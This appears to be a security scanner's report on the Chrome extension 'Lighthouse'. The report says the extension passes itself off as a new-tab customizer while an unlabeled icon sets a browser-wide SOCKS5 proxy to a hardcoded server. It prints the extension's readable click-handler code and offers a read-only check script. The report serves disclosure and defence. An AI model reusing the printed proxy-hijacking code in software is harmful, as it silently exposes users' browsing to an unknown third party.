Is Lighthouse safe?

High risk

Lighthouse routes all of your browser's traffic through a hardcoded third-party proxy server via an unlabeled icon on every new tab.

Lighthouse is presented as a new-tab customizer (weather, notepad, timer), but its only real permission is 'proxy'. An unmarked icon fixed at the bottom-right of every new tab toggles a browser-wide SOCKS5 proxy to a bare, unbranded server IP, redirecting all regular-profile network traffic through it rather than just this extension's own requests. Once enabled, the proxy setting persists across browser restarts until the icon is toggled off.

Harbour Technologiesv2.0Chrome Web Store
77Risk
Who publishes it

Harbour Technologies Shares Co., Ltd - 1 other listing from the same operator, none carrying a finding

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
Harbour Technologies
Declared legal entity
Harbour Technologies Shares Co., Ltd

Same store account

1 other listing published from this account, 47 users between them, none of them carrying a finding.

Lighthouse47Medium

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Lighthouse routes all browser traffic through a hardcoded proxy IP on one click

Lighthouse replaces every new tab with its own page, which has a 50px icon in the bottom-right corner with no label or tooltip.

Clicking it sets a browser-wide SOCKS5 proxy to a hardcoded IP address, routing every site you visit through it.

Severity
Critical unwanted
Type
Unexpected
CWE
CWE-506
Source
Static analysis
What actually happens
You did this

You open a new tab and click the unlabeled icon fixed to its bottom-right corner.

The icon has no title, tooltip, or text identifying it as a proxy or VPN control.

The extension did this

Lighthouse sets a browser-wide SOCKS5 proxy to a hardcoded IP, on your whole browsing profile.

It calls chrome.proxy.settings.set with scope 'regular', covering every tab and site, not just its own.

What gets exposed while the proxy is on
  • Every site you visit
    amazon.com, gmail.com, your-bank.com (destination hosts as you browse)

    The proxy sees the destination for every page you load while it's enabled, building a full browsing history.

  • Your originating IP address
    203.0.113.42 (illustrative)

    Your connection now passes through this outside server, which sees the IP address you're connecting from.

  • Page content on non-HTTPS sites
    Full page content for any http:// site visited while the proxy is on

    SOCKS5 doesn't decrypt TLS, but any site loaded over plain HTTP is fully readable by the proxy operator.

  • Proxy destination
    socks5://18.212.8.65:13008

    This is the address the browser is pointed at by default, unless a different one was saved beforehand.

The code that does this

The click handler that sets the proxy

Readable version
const e = document.getElementById("vpn");e.addEventListener("transitionend", (() => {  e.classList.add("back")})), e.classList.add("movevpn"), setTimeout((() => {  e.classList.remove("movevpn")}), 1e3);let t = "true" == localStorage.getItem("proxyEnabled"),  n = {    scheme: "socks5",    host: "18.212.8.65",    port: 13008  };function i() {  chrome.proxy.settings.get({    incognito: !1  }, (function(e) {}))}function r() {  if (localStorage.vpndata) {    let e = JSON.parse(localStorage.vpndata);    n.host = e.vpnhost, n.port = parseInt(e.vpnport), n.scheme = e.vpnscheme  }  console.log(n), chrome.proxy.settings.set({    value: {      mode: "fixed_servers",      rules: {        singleProxy: n      }    },    scope: "regular"  }, (() => {    console.log("Proxy settings set"), t = !0, localStorage.setItem("proxyEnabled", !0)  }))}function o() {  chrome.proxy.settings.clear({    scope: "regular"  }, (() => {    console.log("Proxy settings cleared"), t = !1, localStorage.setItem("proxyEnabled", !1)  }))}function a() {  t ? o() : r()}document.getElementById("vpn").addEventListener("click", (function() {  a()})), i()}
Where the traffic goes
    • 18.212.8.65

    Unbranded SOCKS5 proxy on an AWS EC2 IP. Sees the destination host and port for every site routed through it while enabled.

Check if you're affected

Reproduces Lighthouse's own proxy-config resolution logic without calling chrome.proxy.settings.set(), so you can see the target before ever clicking the icon.

Requires
  • Chrome or Chromium-based browser with Lighthouse installed
  • DevTools access on the new-tab page
check-lighthouse-proxy-target.js · js
// check-lighthouse-proxy-target.js// Run in DevTools Console on a new tab page with Lighthouse installed.// Mirrors the extension's own config-resolution logic WITHOUT calling// chrome.proxy.settings.set(), so it never changes your actual proxy.(function () {  const defaultProxy = { scheme: "socks5", host: "18.212.8.65", port: 13008 };  const target = Object.assign({}, defaultProxy);  if (localStorage.vpndata) {    const saved = JSON.parse(localStorage.vpndata);    target.host = saved.vpnhost;    target.port = parseInt(saved.vpnport);    target.scheme = saved.vpnscheme;    console.log("A custom proxy destination is saved. Lighthouse would use it instead of the default:");  } else {    console.log("No custom proxy destination saved. Lighthouse would use its hardcoded default:");  }  console.log(target);  console.log(    "Clicking the unlabeled icon in this page's bottom-right corner calls " +    "chrome.proxy.settings.set({value:{mode:'fixed_servers', rules:{singleProxy:target}}, scope:'regular'}) " +    "with the object above, redirecting the whole browser profile's traffic through it."  );})();
How to run it
  1. 1Open a new tab with Lighthouse installed.
  2. 2Open DevTools (F12) on it.
  3. 3Paste this script into the Console and press Enter.
  4. 4Read the logged proxy target Lighthouse would set on a click.
Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

What it can do

Permissions this extension asks for, as declared in version 2.0. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Read and change your data on developer.chrome.com

    https://developer.chrome.com/*

  • Route all of your browsing through a server of its choosing

    proxy

Where it sends data

Destinations our analysis observed Lighthouse contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • 18.212.8.65

    Lighthouse sends data to 18.212.8.65. One other extension we have analyzed sends data here.

Updated 30 September 2026phihlbdbngjpijailldeonomejlhbjio